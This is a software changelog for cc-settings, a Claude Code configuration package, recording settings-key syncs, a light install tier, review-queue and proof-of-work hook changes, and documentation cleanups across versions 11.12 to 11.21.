--lightinstall flag (bash setup.sh --light). Installs raw Claude Code plus only the statusLine and theshare-learningskill. Drops everything else cc-settings normally ships: no CLAUDE.md, no AGENTS.md, no agents, rules, profiles, contexts, or docs; no MCP servers (including context7); no hooks beyond the statusLine command; no effort override (Claude Code default); no permission rules (Claude Code defaults). The two tiers are both permanently supported — re-runsetup.shwithout--lightto upgrade to full, or with--lightto downgrade.src/lib/light-profile.ts— single manifest expressing light as a declarative subtractive diff over the full source (LIGHT_SKILLS), plus two pure transforms:applyLightProfile(reduces composed settings to$schema+statusLine) andstripManagedSettings(removes the full cc-settings footprint from an existingsettings.jsonon a full→light switch, while preserving genuinely user-authored env vars, MCP servers, permission rules, and hook groups).- Profile recorded in the install sentinel (
.cc-settings-versionprofilefield) and surfaced in--status; light installs no longer report the ~27 full-tier skills as "missing." - Parity-guard + transform unit tests (
tests/light-profile.test.ts) and install-e2e coverage for fresh light, full→light (footprint fully stripped to$schema+statusLine), and light→full (everything restored).
Changed
- Idempotent tier switching.
installConfigFiles/installSettingsare profile-aware; a full→light switch strips cc-settings-managed MCP servers (from bothsettings.jsonand~/.claude.json), hooks, env overrides, permission rules, scalar settings, and removes CLAUDE.md/AGENTS.md/agents/rules/profiles/contexts/docs.installDependenciesskips thellm-tldr/jq/pipx setup for light (it runs no hooks needing them). - Docs: README "Install" + "Common commands", project
CLAUDE.mdDevelopment section, and a new MANUAL "Light vs Full" section all document--light.
[11.21.0] — 2026-06-09
Upstream sync to Claude Code 2.1.169. One surface-area release — 2.1.169 adds a new settings key and a handful of env vars alongside a large batch of bug fixes. Manifest bumped 2.1.168 → 2.1.169; version bumped minor for the new settings key + env vars.
Added
disableBundledSkillssettings key (2.1.169). Hides Anthropic's bundled skills, workflows, and built-in slash commands from the model — the upstream-shipped set only; cc-settings' own skills/agents/rules are unaffected. Useful when the bundled surface competes with project skills for the selector's attention (relevant to the 40-skill soft cap). Boolean, global scope. Added tosrc/schemas/settings.ts(global-toggles block, next todisableSkillShellExecution),upstream/claude-code-manifest.jsonknownSettingsKeys, anddocs/settings-reference.md(table + a detailed###section mirroringdisableSkillShellExecution). The schema ispassthrough, so live configs carrying the key already parsed — enumerating keeps the manifest honest and documents the surface.- Three env vars (2.1.169) added to
upstream/claude-code-manifest.jsonknownEnvVarsand thedocs/settings-reference.mdenv table:CLAUDE_CODE_DISABLE_BUNDLED_SKILLS— per-session counterpart of thedisableBundledSkillssetting.CLAUDE_CODE_SAFE_MODE— counterpart of the new--safe-modeflag; boots with all customizations (CLAUDE.md, plugins, skills, hooks, MCP) disabled for troubleshooting.API_FORCE_IDLE_TIMEOUT—=0opts out of the restored default 5-minute Vertex/Foundry idle-stream timeout (a stalled stream now aborts instead of hanging).
Changed
- Upstream sync to Claude Code 2.1.169. Triaged the full 2.1.169 changelog. Beyond the key + env vars above, nothing touches a surface cc-settings ships. Notable skips, with reasons: the new
/cdcommand and--safe-modeflag are native (the env-var counterpart is captured); the "CLAUDE.md is too long" threshold now scales with the model's context window is a native warning orthogonal to our line-basedCC_CLAUDE_MD_*monitor (different mechanism — not a dedupe); the managedallowedMcpServers/deniedMcpServersreconnect-enforcement fix needs nothing (our schema already accepts these keys); and the remaining ~25 bullets are bug fixes and runtime/UI tweaks (Up/Down history-row navigation, macOS claude.ai startup stall, Windowsclaude -phang, Remote Control reconnect,claude agents --jsonfields, background-session flag preservation, OTEL cert-path trust gating, CPU/streaming perf, skill-tag contrast) with no config surface.
Files changed
src/schemas/settings.ts,schemas/settings.schema.jsonschemas/settings.schema.json(regenerated viabun run schemas:emit)upstream/claude-code-manifest.jsondocs/settings-reference.mdsrc/setup.tsCHANGELOG.md
[11.20.0] — 2026-06-08
Upstream sync to Claude Code 2.1.168. Two of the three releases (2.1.167, 2.1.168) are bug-fixes-only; the one surface-area change is the fallbackModel settings key in 2.1.166. Manifest bumped 2.1.165 → 2.1.168; version bumped minor for the new settings key.
Added
fallbackModelsettings key (2.1.166). Configures up to three fallback models tried in order when the primary model is overloaded or unavailable; the same release made the--fallback-modelCLI flag apply to interactive sessions too, so the setting is its persistent counterpart. Not yet in upstream docs, so the shape is inferred from the changelog ("up to three… tried in order") and modeled asstring | string[]— a permissive superset mirroringforceLoginOrgUUID(the flag takes one model, the setting allows three). Added tosrc/schemas/settings.ts(GENERAL block),upstream/claude-code-manifest.jsonknownSettingsKeys, and thedocs/settings-reference.mdtable. The schema ispassthrough, so live configs carrying the key already parsed — enumerating keeps the manifest honest and documents the surface.
Changed
- Upstream sync to Claude Code 2.1.168. Triaged all of 2.1.166 (2.1.167/2.1.168 are "Bug fixes and reliability improvements" with no detail). Beyond
fallbackModel, nothing else touches a surface cc-settings ships. Notable skips, with reasons: the deny-rule glob change ("*"denies all tools; allow rules reject non-MCP globs; unknown deny tool-names warn at startup) needs no work —src/schemas/permissions.tsdeliberately validates only rule keys, not rule strings, and our allow/deny rules are all concreteTool(pattern)form with no bare tool-name globs or unknown tools; cross-sessionSendMessageauthority hardening is native security behavior;MAX_THINKING_TOKENS=0/--thinking disabled/ per-model thinking toggle is behavioral on a pre-existing env var we don't set; the fallback-model retry on non-retryable errors is native runtime behavior; the managedallowedMcpServers/deniedMcpServers${VAR}predicate fix needs nothing (our schema already accepts arbitrary string values); and ~17 CLI/TUI/bug fixes have no config surface.
Files changed
src/schemas/settings.ts,schemas/settings.schema.jsonschemas/settings.schema.json(regenerated viabun run schemas:emit)upstream/claude-code-manifest.jsondocs/settings-reference.mdsrc/setup.tsCHANGELOG.md
[11.19.0] — 2026-06-05
Upstream sync to Claude Code 2.1.165. Two of the three releases (2.1.164, 2.1.165) are bug-fixes-only; the one surface-area change is in 2.1.163. Manifest bumped 2.1.162 → 2.1.165; version bumped minor for the new settings keys.
Added
requiredMinimumVersion+requiredMaximumVersionmanaged settings (2.1.163). Claude Code refuses to start if its version falls outside the allowed range. New keys, distinct from the olderminimumVersion(which they pair with conceptually but do not replace). Bothstring, enterprise/managed scope. Added tosrc/schemas/settings.ts(ENTERPRISE/MANAGED block),upstream/claude-code-manifest.jsonknownSettingsKeys, and thedocs/settings-reference.mdtable. The schema ispassthrough, so live configs carrying these keys already parsed — enumerating keeps the manifest honest and documents the surface.
Changed
- Upstream sync to Claude Code 2.1.165. Triaged all of 2.1.163 (2.1.164/2.1.165 are "Bug fixes and reliability improvements" with no detail). Beyond the two settings keys above, only one bullet touches a surface cc-settings ships:
StopandSubagentStophooks may now returnhookSpecificOutput.additionalContextto feed Claude context and keep the turn going without being labeled a hook error. This is a runtime-output capability, not a config field, so there's no zod change — documented as a one-line note indocs/hooks-reference.md(cc-settings already shipsstop-summary.ts+ SubagentStop logging). Everything else skipped:/plugin listand/btw"c to copy" (native UI/commands), the Skills\$literal-$-before-digit escape (no skill emits$N), stdio MCP receivingCLAUDE_CODE_SESSION_IDon--resume(env var already tracked), and ~17 bug fixes. One bug fix is a quiet win with no action on our side:if: "Bash(...)"hook conditions were firing on every command containing$()/$VAR(and$HOMEdeny-rule paths weren't blocking) — 2.1.163 fixes both upstream, making our existingif:-conditioned hooks and home-dir deny rules more correct for free.
Files changed
src/schemas/settings.ts,schemas/settings.schema.jsonschemas/settings.schema.json(regenerated viabun run schemas:emit)upstream/claude-code-manifest.jsondocs/settings-reference.mddocs/hooks-reference.mdsrc/setup.tsCHANGELOG.md
[11.18.0] — 2026-06-04
Fixes the review-queue statusline nag (⚠ N review) staying red forever in PR / fast-forward-merge workflows. The awaiting counter incremented per writeable agent spawn but only drained on a local git commit that Claude itself ran (isGitCommit + commitSucceeded in src/hooks/review-queue-nudge.ts). Work that landed any other way — pushing a branch for a PR, a fast-forward git pull, a pulled-down PR merge, or a commit made in another terminal — never reset it, so it accumulated permanent false "review debt". The drain now recognizes how work actually advances.
Changed
- Review-queue drains on more than a local commit. Three new drain/reconcile paths, on top of the existing commit drain:
- Successful
git push(isGitPush+pushSucceeded) — pushing a batch off for review/CI is a clean "done with this" boundary.pushSucceededrequires a positive ref-update signal (->,[new branch]/[new tag], or "Everything up-to-date") and no failure marker (rejected/fatal:/error:/failed to push), so a rejected push does not drain. - HEAD advanced — a new
lastHeadSHA onReviewQueueStateis the baseline; when a HEAD-moving Bash command (pull/merge/rebase/reset/checkout/switch/cherry-pick/am/revert, viamovesHead) leaves HEAD past the baseline, the queue drains (onHeadObserved). This catches fast-forward pulls and pulled-down PR merges. The first observation only records a baseline — never a spurious drain. - SessionStart reconcile — folded into the existing
src/scripts/session-start.ts(no new hook registration). On a non-empty queue it re-reads HEAD and drains if it advanced since last session, catching commits made in another terminal between sessions. Fail-soft: any git error leaves the queue untouched. - HEAD reads use the existing
runGithelper (src/lib/git.ts, already trims + fails soft) and only fire on git-ish Bash commands, never on the statusline hot path. The cognitive-surrender check and read-only-agent exemption are unchanged. - Files changed:
src/lib/review-queue.ts(state field +onCommit(head?),isGitPush,pushSucceeded,movesHead,onHeadObserved),src/hooks/review-queue-nudge.ts(push + HEAD-reconcile branches,currentHead),src/scripts/session-start.ts(reconcile block),tests/review-queue.test.ts(+7 unit/e2e tests, 24 in-file).
- Successful
[11.17.1] — 2026-06-04
Upstream sync to Claude Code 2.1.162 — a bug-fix / UI-polish release with no cc-settings surface. Manifest bumped 2.1.161 → 2.1.162; version bumped patch.
Changed
- Upstream sync to Claude Code 2.1.162. Triaged all 28 changelog bullets: every one is a bug fix (read-only config-dir startup hang, WebFetch preapproved-domain permission rules, Windows backslash/case-variant permission matching, Esc-at-turn-start drop in stream-json/SDK, emoji-in-MCP-description API 400s, MCP per-server
timeout<1000 ms watchdog floor, LSPworkspaceSymbol, ~10claude agentsrendering/attach/paste fixes,SendMessagedeep-dir, stale-model background sessions, Write-result crash,EADDRINUSE), a UI/startup-polish tweak (/effortpersist confirmation, slash-command-click-to-fill, Remote Control footer pill, quieter startup, removed Chrome/marketplace startup messages), or CLI-output/internal plumbing (claude agents --json waitingFor, spawn-failure error-class reporting). None add a settings key, hook event/type, env var, agent frontmatter field, MCP field, builtin tool, or permission mode.Grep/Glob(the--toolschange) and the MCPtimeoutfield already exist in our manifest/schema unchanged. The Windsurf → "Devin Desktop" rename applies to Claude Code's/idemenu labeling, not the external editor or the still-valid.windsurfrulesinterop thatsrc/scripts/project-init.tsgenerates — deliberately left as-is.
[11.17.0] — 2026-06-03
Versions the work merged in #38–#42, which had accumulated in [Unreleased] without a version bump: the team-knowledge repo migration, a nuclear-review maintainability pass, retirement of the automated upstream-sync cron + sync to Claude Code 2.1.161, dynamic-workflow guidance fold-ins paid for by removing a dead-telemetry loop (net −107), and a docs-accuracy pass that purged retired skill names and deleted the redundant USAGE.md.
Changed
- Docs accuracy pass (post-session). Skill counts updated to 34 across
CLAUDE-FULL.md,CLAUDE.md, andMANUAL.md. Dead skill names (ask,premortem,compare-approaches,discovery,prd,create-handoff,resume-handoff,long-task,lenis,audit,versions) removed fromMANUAL.md,skills/README.md,docs/frontmatter-reference.md. Added missing skills (freeze,plan-ceo-review,retro,strategist) to the MANUAL.md All Skills table. Removed deleted TLDR telemetry hook rows fromMANUAL.mdanddocs/hooks-reference.md(track-tldr,mcp__tldr). Regenerated fork/main/inherit skill lists and agent-delegation table indocs/frontmatter-reference.mdto match ground truth. Fixed retired-skill references (/compare-approaches,/long-task) inagents/maestro.mdanddocs/github-workflow.md. RemovedUSAGE.md— an uninstalled, unlinked onboarding doc that duplicatedMANUAL.mdand had drifted badly (its skill tables had been swept for dead names repeatedly; the recurring drift was the signal it was redundant). Also removed two empty local dirs (.claude/worktrees,.claude/agent-memory/oracle). - Retired the automated upstream-sync cron in favor of manual
/cc sync. The daily GitHub Action (.github/workflows/upstream-sync.yml) and the--open-prpath insrc/upstream/scan.tsonly ever bumped a version number and dumped the drift string into a PR body. The scanner'sdiffSetscompares the manifest against cc-settings' own zod schema — never upstream — and it never fetched the changelog, so it was structurally blind to new features, settings keys, env vars, hook events, and dedupe opportunities. That triage is the human-reviewed skill's job; the bot's PRs looked actionable but weren't, and raced the manual flow. Removing it also avoids a standing CI credential (making the cron smarter would have meant baking anANTHROPIC_API_KEY/OAuth token into repo secrets and burning it unattended on every release).- Removed —
.github/workflows/upstream-sync.yml;openSyncPr/saveManifestand the--open-prbranch insrc/upstream/scan.ts(now a pure dry-run detector, nowriteFile/runProcessFullimports); stale "daily GH Action"/"bot owns this file" references in the manifestdescription/source,skills/cc/SKILL.md,src/schemas/skill.ts, and the.github/workflows/ci.ymlupstream-scancomment. - Kept —
bun run upstream:scan(the dry-run detector) and its non-gating CI job, now the manual way to spot drift before running/cc sync.
- Removed —
- Upstream sync to Claude Code 2.1.161. Manifest bumped
2.1.160→2.1.161. The release is otherwise all bug fixes / UI / perf with no cc-settings surface; the one tracked addition isCLAUDE_CODE_TMPDIR(surfaced by theEADDRINUSE/Unix-socket fix), added to the manifestknownEnvVarsand thedocs/settings-reference.mdenv-var table.OTEL_RESOURCE_ATTRIBUTESnow feeds metric-datapoint labels but is a generic OTEL SDK var outside our CC-specific tracking convention — deliberately skipped. - Removed the dead TLDR session-stats telemetry pair (
src/scripts/track-tldr.ts+tldr-stats.ts, their hook registrations, tests, and doc rows). It was a closed read-loop — track-tldr accumulated an estimated token-savings counter that only tldr-stats read, to print a vanity box at session end. No external consumer; TLDR itself is unaffected. Verifiedswarm-log.ts(feeds/review-batch) andsession-title.ts(powersclaude --resume <name>) are load-bearing and kept. - Folded Anthropic's dynamic-workflows learnings into existing guidance — no new files, no new skills. Distilled the "A harness for every task" write-up into the places that already decide when to orchestrate, rather than adding surface:
skills/orchestrate/SKILL.md— the dynamic-workflows section now leads with the trigger (the three single-window failure modes: agentic laziness, self-preferential bias, goal drift) instead of task type, names the canonical shapes (classify-and-act, fan-out-and-synthesize, generate-and-filter, tournament, loop-until-done), and surfaces quick workflows, token budgets, and the quarantine pattern for untrusted-input triage.CLAUDE-FULL.md— failure-mode trigger added to the delegation decision tree.skills/oracle/SKILL.md— compare mode now prefers pairwise/tournament judgment over absolute weighted scores for close or taste-heavy calls (comparative judgment resists the score-compression that clusters everything at 6–8).MANUAL.md— token-budget directive for workflows;skills/nuclear-review/SKILL.md— its example workflow reframed as a template to adapt, not run verbatim.- Deliberately not done: the proposed
/ship→bun run proofconsolidation was rejected —bun run proofis a cc-settings-repo-local script, and/shipruns in any project, so the cut would have broken it everywhere else. Caught by verifying the (adversarially-generated) cut list instead of trusting it.
- Shared team-knowledge migrated from GitHub Project #7 to a markdown repo (
darkroomengineering/team-knowledge). The board was structurally hostile to its primary consumers (agents): network-gated GraphQL reads, not greppable offline, and no linter-enforced structure —gh project item-createnever set theKindfield, so every/share-learningpost landedkind: Noneand was invisible to a Kind-filtered query. The repo is one note per file + a generatedINDEX.md, mirroring the local auto-memory tier. Decision + roadmap:docs/plans/knowledge-repo-migration.md(weighted comparison scored repo 795 vs board 515).- New —
src/schemas/knowledge.ts(zod frontmatter contract:name/kind/tags/added-by/supersedes),src/lib/lint-knowledge.ts+src/scripts/lint-knowledge.ts(bun run lint:knowledge),src/scripts/new-note.ts(bun run new-note),tests/lint-knowledge.test.ts, emittedschemas/knowledge.schema.json. - Changed —
/share-learningnow readsINDEX.mdfor dedup and writes notes viagh api(wasgh project item-list/item-create);docs/knowledge-system.md, theAGENTS.mdKnowledge Routing section, and assorted docs retargeted; envKNOWLEDGE_PROJECT_NUMBER→KNOWLEDGE_REPO. - Companion — darky's
search_team_knowledgereader rewritten for the repo substrate (darkroom-os#18); envDARKY_KNOWLEDGE_PROJECT_NUMBER→DARKY_KNOWLEDGE_REPO.
- New —
- Nuclear-review maintainability pass — whole-codebase audit findings landed as behavior-preserving cleanups (467 tests green, no behavior change):
src/lib/io.tsdeleted — its lonereadStdinhelper duplicatedhook-runtime.ts'sreadHookInput(stdin drain +JSON.parsewith fallback). The three callers —src/hooks/statusline.ts,src/scripts/stop-failure.ts,src/scripts/log-bash.ts— now use the canonical helper; barrel export dropped fromsrc/lib/index.ts.- Version sentinel reader consolidated —
~/.claude/.cc-settings-versionwas read by two functions with their own parse+guard.src/lib/version-delta.tsnow owns the single reader (readSentinelInfo+SentinelInfotype);readInstalledVersiondelegates to it;src/lib/version-drift.tsdrops its copy;src/scripts/session-start.tsandtests/version-drift.test.tsimport from delta. src/lib/status.ts— removed the back-compatMANAGED_SKILLSre-export (no external consumers; callers already import frommanaged-skills.ts).src/lib/settings-merge.ts— replaced theas UnknownRecord+ eightas StringArraycasts inpermissionsStrategywith runtime-guardedasRecord/stringArrayFieldhelpers, so a corruptsettings.jsondegrades to empty rules instead of handing a bad shape to the union.src/upstream/scan.tsvalidates the npmlatestresponse with a zodsafeParseinstead of a raw cast;src/scripts/post-failure.tsdrops a redundant second.slice(0, 200)that was eating the truncation ellipsis;src/scripts/pre-commit-tsc.tsdrops an unnecessaryPromise.alltuple cast.
Fixed
- Stale dynamic-workflow trigger keyword —
skills/orchestrate/SKILL.mdsaid the one-shot trigger was the wordworkflow; the force-keyword was renamedworkflow→ultracodein CC v2.1.160. Corrected toultracode(natural-language "use a workflow" still works as opt-in). skills/ship/SKILL.mdhad twoStep 8headers — the post-push CI-watch step is nowStep 9.--rollbacknow restores~/.claude.json—createBackup/cmdRollbackinsrc/setup.tsarchived onlysettings.json/CLAUDE.md/AGENTS.mdunder~/.claude, so the MCP configinstallMcpToClaudeJsonrewrites (at~/.claude.json, outside~/.claude) had no rollback path. Backups are now$HOME-relative and include it;cmdRollbacksniffs the archive layout so older~/.claude-relative backups still restore to the right place.src/scripts/session-title.tsread the prompt fromprocess.env.PROMPTonly, silently no-op'ing whenever Claude Code deliveredUserPromptSubmitdata via stdin JSON (the primary path). It now reads viareadHookInput<{ session_id, prompt }>with env fallback, matching the siblingdelegation-detector.tshook on the same event.
[11.16.0] — 2026-06-02
Two additions: a deslop advisory probe in the proof-of-work gate (the framework-agnostic sibling to react-doctor), and a shift to PR-by-default as the standard workflow (with a repo PR template that dogfoods the plain-English standard).
Added
- deslop advisory probe —
src/lib/proof-of-work.tsgainsdetectDeslop(),runDeslop(), and the pure, unit-testedsumDeslopFindings();bun run proofappends a deslop pass when the project depends ondeslop-cli. Same shape as the react-doctor probe: advisory (never flips the verdict or exit code), and opt-in by dependency so localnpxresolves the pinned binary with no network fetch. deslop (millionco, MIT) is a framework-agnostic cross-file dead-code / unused-export / circular-import scanner — the deterministic floor under thedeslopperagent, catching what Biome's per-file linting can't. Reports total findings across categories (X findings). Silent for projects without it. config/30-permissions.json— narrowBash(npx deslop:*)allow rule (not a blanketnpx).docs/settings-reference.mdpermissions block regenerated.rules/typescript.md— Tools bullet documenting the pinned deslop invocation as an advisory pre-filter..github/PULL_REQUEST_TEMPLATE.md— a repo PR template embodying the v11.15.0 plain-English standard ("What this does" → Summary → Test Plan).
Changed
- PR-by-default workflow —
rules/git.mdadds an "Open a PR by default" note: feature-branch + PR is the norm (most Darkroom client projects protectmain), and directgit push origin mainis the reserved exception for repos that explicitly allow it. Corrects the prior assumption that direct-to-main was a standing default. skills/proof-of-work/SKILL.md— the advisory-probe paragraph now covers both react-doctor and deslop (was react-doctor only).
[11.15.2] — 2026-06-02
Fix a pre-existing Windows bug in the /freeze edit-scope lock. It was latent on main since /freeze shipped (ee74a4e) because changes had been direct-pushed without watching the Windows CI jobs — and it surfaced the moment a PR's CI matrix was actually watched to completion (a payoff of moving to PR-by-default).
Fixed
src/lib/freeze.ts—isWithinBoundaryhard-coded a forward-slash separator (absFile.startsWith(\${absRoot}/`)).node:path'sresolveemits` paths on Windows, so the subtree match never fired there — freeze would have rejected every in-boundary edit at runtime, and the tests failed. Now uses the platform separator (sep). Behaviour is identical on macOS/Linux (sep === "/").tests/freeze.test.ts— the twotoAbsoluteassertions hard-coded POSIX output strings ("/repo/src/a.ts"), which can't hold on Windows (resolveyieldsC:\…\). They now derive expectations throughresolve, so they're platform-agnostic. TheisWithinBoundaryboolean tests needed no change — they assert containment, which thesepfix makes correct on every OS.
[11.15.1] — 2026-06-02
Close two doc/wiring drifts left by this session's feature releases — surfaced by an audit of "what does each change touch vs what should it touch".
Fixed
skills/proof-of-work/SKILL.mdwas out of sync with the gate it documents: it describedbun run proofas detecting only typecheck/test/lint, with no mention of the react-doctor advisory probe added to the gate in v11.13.0. Added a paragraph documenting it (advisory, pinned binary, telemetry off, never flips the verdict, silent when absent).agents/reviewer.mdnever received the plain-English standard from v11.15.0 — that landed only in thereviewskill. Since the reviewer agent runs both via that skill (agent: reviewer) AND via directAgent(reviewer, …)delegation, direct invocations bypassed the standard. Its Review Summary now leads with plain-English ("what this change does"), and feedback step 6 now requires plain-English comments ("like you're talking to a teammate, not citing a rulebook").
[11.15.0] — 2026-06-02
Make PR descriptions and review comments lead with a plain-English summary of what the change does — fixing the recurring failure mode where our PRs read as technical and over-engineered (the diff restated in jargon). Inspired by the "explain the why, plainly" spirit of a teaching-prompt gist, minus its quiz/tutor machinery, with an explicit "signal, not spam" bar so the summary is useful, not filler.
Changed
rules/git.md— the canonical PR template now leads with a## What this doessection (2–3 plain sentences naming the real-world effect, not the mechanism) above the technical## Summaryand## Test Plan. Added a "Signal, not spam" rubric: every sentence earns its place, explain the why not just the what, don't make a small change sound big, no jargon dump / diff-restating / AI filler, and — if you can't say it plainly, that's a sign the change is unclear, not a cue for bigger words.skills/ship/SKILL.md— Step 7 no longer usesgh pr create --fill(which dumps commit messages into the body and is the root cause of the technical-sounding PRs). It now authors the body via--bodywith a heredoc that leads with "What this does", and instructs writing that summary from the diff's purpose, not by pasting commit subjects.skills/review/SKILL.md— the review Summary line now models the standard (plain-English "what this change does" first), and a new "Remember" bullet asks for comments written like you're talking to a teammate, not citing a rulebook.
Notes
- No new skill — this is a writing standard threaded through the existing PR/review surfaces (still 31 skills).
- Deliberately dropped the gist's interactive elements (quizzes, ELI5/14 levels, comprehension checkpoints): the goal is a useful description on the PR, not a tutoring session.
[11.14.0] — 2026-06-02
Fold Tailwind v4 token consolidation into the existing design-tokens skill — the inverse of its generation modes (audit-and-reduce an over-grown token set to fewer tokens with identical render). Method ported and adapted from millionco/skills (MIT), not installed via their npx skills add (same curation reasons as the react-doctor installer). bun run lint:skills clean; still 31 skills (folded, not added — honours the 40-skill soft cap).
Added
skills/design-tokens/SKILL.md— new "Consolidation" section: the required audit-first order (parse blocks → compute the LIVE set transitively → count globals.css's own utility-classvar()deps → rename-map-as-data codegen → verify), the two reduction levers (dead deletion, value-similar collapse), the "don't inline into arbitrary values" rule, and the five collapse-safety checks most likely to bite (scoped overrides, same-side L=0.5 rule, transparent-in-one-mode, canonical-source precedence,bg-X/--background-image-Xname collisions). Frontmatterdescriptionextended with consolidation triggers ("reduce tokens", "dedupe tokens", "too many tokens", "consolidate tokens").MANUAL.md—/design-tokensblurb + skills-table row updated to cover consolidation.
Notes on the port (deliberate constraints)
- Adapted, not copied. The source assumes
pnpm typecheck/lint/format/buildand apnpm --filter webmonorepo; the ported verify loop is Darkroom-native (bun run typecheck/tsgo --noEmit·biome check --write·bun run build), with a one-line note for pnpm-monorepo paths. Distilled to ~45 lines (from ~150) — the essential method + highest-value gotchas, authored in our voice. - Folded, not a new skill. Consolidation is the exact inverse of generation and shares the same domain (Tailwind v4 tokens /
globals.css), so it belongs indesign-tokensrather than a 32nd skill — keeping the selector lean.
[11.13.0] — 2026-06-02
Integrate react-doctor (millionco, MIT) into the proof-of-work gate as an optional advisory probe for React projects. react-doctor is a deterministic scanner (oxlint + eslint-plugin-react-hooks) that scores security/perf/correctness/a11y/bundle/architecture 0–100 — the deterministic floor under rules/react.md / react-perf.md, complementary to the LLM-driven /review and /nuclear-review (mechanical vs judgment, the same line proof-of-work already draws). Typecheck + full suite green.
Added
- react-doctor advisory probe —
src/lib/proof-of-work.tsgainsdetectReactDoctor()+runReactDoctor(), andbun run proof(src/scripts/proof.ts) now appends a react-doctor pass when the project depends on it. The probe is advisory:allGreen()ignores advisory results, so a low score (or a missing/broken binary) reports a signal but never flips the review-ready verdict or the exit code. Rendered withℹ … (advisory)to read distinctly from the hard gates. (tests/proof-of-work.test.tscovers detection, advisory-ignored verdict, and advisory rendering.) rules/react.md— one Tools bullet documenting the pinned, telemetry-off invocation as a pre-filter before LLM review, not the authority.config/30-permissions.json— narrowBash(npx react-doctor:*)allow rule (deliberately not a blanketBash(npx:*)), so the probe runs without a prompt while every othernpxstill requires one.
Notes on the integration (deliberate constraints)
- Pinned, never
@latest. The probe runs only when react-doctor is already a project dependency, so localnpxresolves the lockfile-pinned binary fromnode_modules/.binwith no network fetch. cc-settings never pulls an unpinned@latest— consistent with the supply-chain posture (hooks fingerprint,CLAUDE_CODE_SUBPROCESS_ENV_SCRUB). - Telemetry off.
runReactDoctor()always passes--no-telemetry(react-doctor reports anonymous usage to Sentry by default); the documented invocation inrules/react.mddoes too. - No third-party installer. We did not adopt
npx react-doctor install— it writes an opaque agent artifact that would bypass cc-settings' curation (skill linter,dr-naming, 40-skill cap, hooks fingerprint). The knowledge lives in a rule we author and version ourselves. - No new skill. Wired into the existing gate rather than a parallel
/react-doctorskill, keeping the selector lean (still 31 skills) and the surface aligned with the 11.12.0 Amdahl-shrink work.
[11.12.1] — 2026-06-02
Upstream sync to Claude Code v2.1.160 — a cleanup-only release. v2.1.160 is almost entirely platform/feature bug fixes (Windows/WSL, background sessions, vim/voice/IME, claude agents) that cc-settings never worked around, plus native security hardening with no config surface. The one actionable change is a removed env var. Typecheck + full suite green; scanner reports no drift.
Synced (Claude Code v2.1.159 → v2.1.160)
- Removed
CLAUDE_CODE_OPUS_4_6_FAST_MODE_OVERRIDE(v2.1.160) — upstream deleted this env var (pinned fast mode to Opus 4.6; already flagged "two generations stale" since Opus 4.8). Dropped fromupstream/claude-code-manifest.jsonknownEnvVarsand thedocs/settings-reference.mdenv table so the scanner stops vouching for a var that no longer exists. HistoricalCHANGELOG.mdmentions are left intact as a record. - Already aligned — the v2.1.160 rename of the dynamic-workflow trigger keyword from
workflowtoultracodeneeds no change: cc-settings adoptedultracodeeverywhere in 11.x (2.1.154+) and carried no staleworkflow-keyword references. - Manifest —
claudeCodeVersion2.1.159 → 2.1.160,lastScanrefreshed. Scanner reports no drift. - Skipped — native hardening with no cc-settings surface (prompt before writing shell startup files /
~/.config/git/;acceptEditsprompts before build-tool configs; Edit-after-grep no longer needs Read); removed JetBrains plugin suggestion; and the v2.1.160 bug-fix batch (WSL clipboard,claude agentshistory/freeze,claude --bgsocket, Windows dir-deletion/keys/links, CJK IME, voice non-ASCII, vimp, SDK--modelhint, brief-mode resume,/effort ultracodeworkflow-blame, auto-mode latency, SIGTERM teardown).
Files changed
upstream/claude-code-manifest.jsondocs/settings-reference.mdsrc/setup.tsCHANGELOG.md
[11.12.0] — 2026-06-01
Structural cleanup from a /nuclear-review whole-codebase audit (2026-05-29), plus a suite of orchestration-tax features built from the audit and the "Orchestration Tax" essay (review-queue backpressure, proof-of-work gate, and more below), released together with an upstream sync to Claude Code v2.1.159. The cleanup is behavior-preserving (internal export renames aside); the new hooks/skills are additive. Full suite green, typecheck + lint clean.
Added
- Review-queue backpressure —
src/lib/review-queue.ts+src/hooks/review-queue-nudge.ts(PostToolUse) count agents spawned since your last commit and nudge when the queue reachesCC_MAX_UNREVIEWED(default5); agit commitdrains it. The statusline shows⚠ N review (age)— yellow under the threshold, red at/over — and a fast commit of a deep queue is flagged as cognitive surrender (committed faster thanCC_MIN_REVIEW_SECONDS, default60, plausibly allows for real review). The consumer-side counterpart toparallelmax-nudge, which now suppresses its own "delegate more" nudge when the queue is saturated so the two don't give opposing advice. Models the constraint the "Orchestration Tax" essay names: review throughput, not agent count. Knobs:CC_MAX_UNREVIEWED,CC_MIN_REVIEW_SECONDS. - Proof-of-work gate —
bun run proof(src/lib/proof-of-work.ts,src/scripts/proof.ts,skills/proof-of-work/) runs the verification battery (typecheck/test/lint, detected frompackage.json, cheapest-first) and prints onereview-ready ✓ / ✗verdict. The Amdahl-shrink move: make the machine prove the boring 80% so human review spends the lock on judgment, not on confirming what a machine can. Theimplementeragent now attaches a proof report before handing back. Pairs with the review-queue — backpressure limits unproven diffs; the gate makes each cheaper to close. - Two-pile triage in orchestration —
skills/orchestrate/SKILL.mdPhase 1 andagents/maestro.mdnow sort work before fanning out: delegate-async (isolated, judgment at the gate) fans out; hold-the-lock (judgment IS the work) stays serial — parallelizing the second pile thrashes the one resource that can't be cloned. A judgment-heavy task is a SIMPLIFY/NO-GO for orchestration regardless of size. /review-batch+ re-entry cards —skills/review-batch/+bun run review-batch(src/scripts/review-batch.ts) assemble the pending-review picture (queue depth + age, working-tree diff stat, recent agents fromswarm.log) so you batch-review in one sitting instead of cold-reloading one agent at a time. Each change gets a re-entry card (what / why / decide / proof) that reloads your context cheaply. Attacks the context-switch tax.- Opt-in nuclear-review workflow —
skills/nuclear-review/references/nuclear-review.workflow.js, a runnable dynamic-workflow version of the whole-codebase audit (map → per-module reviewers in parallel → dependency audit → synthesis). It deliberately uses the preview Workflow API, which is exactly why it ships as an example inreferences/rather than wired into the skill —/nuclear-reviewitself still depends on nothing. Softened the orchestrate rule from "don't couple to the Workflow tool" to "don't depend on it; an opt-in example is fine."
Synced (Claude Code v2.1.156 → v2.1.159)
- Adopted
CLAUDE_CODE_ENABLE_AUTO_MODE(v2.1.158) — opt-in (=1) for auto mode on Bedrock, Vertex, and Foundry for Opus 4.7/4.8 (native on the first-party API). Added toupstream/claude-code-manifest.jsonknownEnvVars(alphabetical) and thedocs/settings-reference.mdenv table so the scanner stops re-flagging it as drift. - Docs refinements (v2.1.157) — the
OTEL_LOG_TOOL_DETAILSenv row now notes it also addstool_parameterstotool_decisiontelemetry events; theagentsettings-key row notes it's now honored byclaude agentsdispatched sessions. - Manifest —
